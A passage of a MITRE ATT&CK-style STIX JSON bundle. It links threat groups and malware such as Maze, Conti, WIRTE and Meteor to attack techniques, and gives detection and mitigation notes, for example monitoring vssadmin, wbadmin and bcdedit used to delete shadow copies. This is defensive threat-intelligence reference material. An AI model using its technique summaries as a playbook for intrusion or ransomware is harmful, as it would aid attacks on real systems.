WIRTE Group attacking the Middle East. Retrieved May 24, 2019."}], "modified": "2019-06-20T15:30:38.635Z", "description": "[WIRTE](https://attack.mitre.org/groups/G0090) has used PowerShell for script execution.(Citation: Lab52 WIRTE Apr 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0069b158-3cc8-4e22-af63-6c57cb58f9d6", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. 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Retrieved May 18, 2020."}], "modified": "2020-06-24T01:39:05.871Z", "description": "[Maze](https://attack.mitre.org/software/S0449) has disrupted systems by encrypting files on targeted machines, claiming to decrypt files if a ransom payment is made. [Maze](https://attack.mitre.org/software/S0449) has used the ChaCha algorithm, based on Salsa20, and an RSA algorithm to encrypt files.(Citation: FireEye Maze May 2020)", "relationship_type": "uses", "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--00701b4a-9eab-41cc-9c09-f904a9799201", "type": "relationship", "created": "2021-01-19T21:06:07.784Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec RAINDROP January 2021", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."}], "modified": "2021-01-20T13:56:30.150Z", "description": "After initial installation, [Raindrop](https://attack.mitre.org/software/S0565) runs a computation to delay execution.(Citation: Symantec RAINDROP January 2021)", "relationship_type": "uses", "source_ref": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--0076c114-0e7a-45c3-a851-7a877a9eefd0", "created": "2022-04-15T20:07:57.641Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky WIRTE November 2021", "url": "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044", "description": "Yamout, M. (2021, November 29). WIRTE\u2019s campaign in the Middle East \u2018living off the land\u2019 since at least 2019. Retrieved February 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[WIRTE](https://attack.mitre.org/groups/G0090) has used HTTPS over ports 2083 and 2087 for C2.(Citation: Kaspersky WIRTE November 2021)", "modified": "2022-04-15T20:07:57.641Z", "relationship_type": "uses", "source_ref": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0077d777-1e32-4b34-ab12-461b34110ffe", "type": "relationship", "created": "2021-10-11T16:56:45.484Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Lokibot Jan 2021", "url": "https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html", "description": "Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}], "modified": "2021-10-11T16:56:45.484Z", "description": "[Lokibot](https://attack.mitre.org/software/S0447) has used VBS scripts and XLS macros for execution.(Citation: Talos Lokibot Jan 2021) ", "relationship_type": "uses", "source_ref": "malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--00789efc-c0c5-4bc2-96ad-9f893bf9c06d", "type": "relationship", "created": "2021-02-17T19:22:30.961Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Conti Jan 2021", "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."}, {"source_name": "CarbonBlack Conti July 2020", "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}], "modified": "2021-04-14T12:56:37.287Z", "description": "[Conti](https://attack.mitre.org/software/S0575) can spread via SMB and encrypts files on different hosts, potentially compromising an entire network.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)", "relationship_type": "uses", "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0078d802-53f2-4ee4-b802-492e9f121cbe", "created": "2022-09-23T20:54:01.914Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-10T16:50:25.056Z", "description": "During [FunnyDream](https://attack.mitre.org/campaigns/C0007), [ccf32](https://attack.mitre.org/software/S1043) was used to collect data.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8", "target_ref": "malware--a394448a-4576-41b8-81cc-9b61abad94ab", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--007cc21a-685a-4701-99c1-20f258cedc7c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT17", "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"}], "modified": "2020-03-17T19:06:43.759Z", "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to enumerate files.(Citation: FireEye APT17)", "relationship_type": "uses", "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--00814703-3c3b-4872-89e9-cea4ba5edf2d", "type": "relationship", "created": "2020-02-11T20:36:06.423Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-11T20:36:06.423Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e", "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--00822c6a-a881-4678-8d74-6a52b2ca27c9", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/n1nj4sec/pupy", "description": "Nicolas Verdier. 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Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"}], "modified": "2021-12-06T15:43:24.481Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has compressed data into .zip files prior to exfiltration.(Citation: US-CERT TA18-074A)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--00876444-466d-40fe-8de5-0c13fcd0ea1a", "type": "relationship", "created": "2020-10-15T16:47:27.531Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-02-17T13:12:51.765Z", "description": "Make sure that the <code>HISTCONTROL</code> environment variable is set to \u201cignoredups\u201d instead of \u201cignoreboth\u201d or \u201cignorespace\u201d.", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--00914655-1a22-40ed-ae4d-6adb1a6acd35", "type": "relationship", "created": "2020-11-09T16:28:37.599Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-11-09T16:28:37.599Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) can store C2 information on cloud hosting services such as AWS and CloudFlare and websites like YouTube and Facebook.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--00991be5-e2c2-4645-b743-e9e4af3d38b9", "type": "relationship", "created": "2021-05-20T14:35:48.636Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}], "modified": "2021-10-18T19:54:13.384Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use <code>sudo</code> to run a command.(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--00a4a29f-bbc3-45aa-82ad-7adb0c67a7db", "type": "relationship", "created": "2022-03-30T14:26:51.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.849Z", "description": "Monitor for attempts to access SYSVOL that involve searching for XML files.", "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", "target_ref": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--00a88d6f-fa8c-48bf-a028-fb75ca04e000", "created": "2020-11-10T16:49:13.291Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}, {"source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.", "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.642Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has obtained code signing certificates signed by DigiCert, GlobalSign, and COMOOD for malware payloads.(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--00aa618f-bcfa-4649-8436-134f9d01e43c", "type": "relationship", "created": "2020-06-19T21:25:43.683Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. 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Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}, {"source_name": "Kaspersky Sofacy", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"}], "modified": "2020-03-11T17:45:54.045Z", "description": "Once a removable media device is inserted back into the first victim, [USBStealer](https://attack.mitre.org/software/S0136) collects data from it that was exfiltrated from a second victim.(Citation: ESET Sednit USBStealer 2014)(Citation: Kaspersky Sofacy)", "relationship_type": "uses", "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--00b0af92-df59-4d56-ac3e-18f6f1f72957", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-flame-questions-and-answers-51/34344/", "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.", "source_name": "Kaspersky Flame"}], "modified": "2019-06-06T14:35:54.017Z", "description": "[Flame](https://attack.mitre.org/software/S0143) contains modules to infect USB sticks and spread laterally to other Windows systems the stick is plugged into using Autorun functionality.(Citation: Kaspersky Flame)", "relationship_type": "uses", "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--00b0b6ec-a9eb-4fdd-b7ea-6e6c8a8ab1fc", "type": "relationship", "created": "2019-11-27T14:58:00.679Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/library/dn221960.aspx", "description": "Microsoft. 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Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Pandora](https://attack.mitre.org/software/S0664) can load additional drivers and files onto a victim machine.(Citation: Trend Micro Iron Tiger April 2021)", "modified": "2022-04-11T17:47:16.063Z", "relationship_type": "uses", "source_ref": "malware--a545456a-f9a7-47ad-9ea6-8b017def38d1", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--011286cc-53bc-4910-bf38-79f1d79fc707", "created": "2024-02-12T20:43:17.672Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Ensilo Darkgate 2018", "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). 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Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).", "relationship_type": "detects", "source_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", "target_ref": "attack-pattern--e5d550f3-2202-4634-85f2-4a200a1d49b3", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0160acb0-db44-4076-acc6-74c872d5aa08", "type": "relationship", "created": "2021-03-02T13:57:47.582Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Amnesty Intl. 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Retrieved January 4, 2017.", "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T22:17:57.830Z", "description": "Most strings in [USBStealer](https://attack.mitre.org/software/S0136) are encrypted using 3DES and XOR and reversed.(Citation: ESET Sednit USBStealer 2014)", "relationship_type": "uses", "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--0176d885-2f36-4b9a-b325-ff25a37c2341", "created": "2022-03-30T14:26:51.864Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "GNU Acct", "url": "https://www.gnu.org/software/acct/", "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017."}, {"source_name": "RHEL auditd", "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing", "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017."}, {"source_name": "ArtOfMemoryForensics", "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."}, {"source_name": "Chokepoint preload rootkits", "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html", "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)", "modified": "2022-04-19T21:19:25.192Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0177d430-a0b9-4f2f-8c66-8dfa4391611a", "type": "relationship", "created": "2020-05-12T21:56:32.975Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-27T23:35:41.302Z", "description": "[ShimRat](https://attack.mitre.org/software/S0444) can download additional files.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--01786141-4ea8-47f2-bc32-af9d48ce5bb2", "created": "2022-03-30T14:26:51.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-23T22:06:41.403Z", "description": "Monitor newly executed processes that may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.\n\nNote: Sysmon Event ID 1 (process create) and Windows Security Log Event ID 4688 (a new process has been created) can be used to detect new reg.exe processes that modify the AppInit DLL registry keys since the registry keys are specified as a command-line parameter.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--017fac51-a6ab-491b-8b48-08be808ae060", "type": "relationship", "created": "2022-03-30T14:26:51.868Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.868Z", "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--0182aa0a-a8b9-4a6e-9932-88f34f8ceee3", "created": "2022-03-07T19:33:01.745Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Check Point Meteor Aug 2021", "url": "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/", "description": "Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Meteor](https://attack.mitre.org/software/S0688) can use `wmic.exe` as part of its effort to delete shadow copies.(Citation: Check Point Meteor Aug 2021)", "modified": "2022-04-09T15:26:41.384Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0188b7af-d060-4715-baf2-ad69333482dc", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint Leviathan Oct 2017", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}], "modified": "2019-09-16T18:01:16.149Z", "description": "[Orz](https://attack.mitre.org/software/S0229) can gather victim drive information.(Citation: Proofpoint Leviathan Oct 2017)", "relationship_type": "uses", "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0191f3d3-59d3-4fcc-bfff-5fbfa0675cfd", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 SeaDuke 2015", "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/"}], "modified": "2020-03-20T17:45:31.244Z", "description": "[SeaDuke](https://attack.mitre.org/software/S0053) is capable of executing commands.(Citation: Unit 42 SeaDuke 2015)", "relationship_type": "uses", "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--019abb1f-efcb-4828-9805-4b5a7191170c", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T13:34:03.181Z", "description": "Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as `vssadmin`, `wbadmin`, and `bcdedit`. After compromising a network of systems, threat actors often try to delete/resize Shadow Copy in an attempt to prevent administrators from restoring the systems to versions present before the attack. This is often done via vssadmin, a legitimate Windows tool to interact with shadow copies. This action is often employed by ransomware, may lead to a failure in 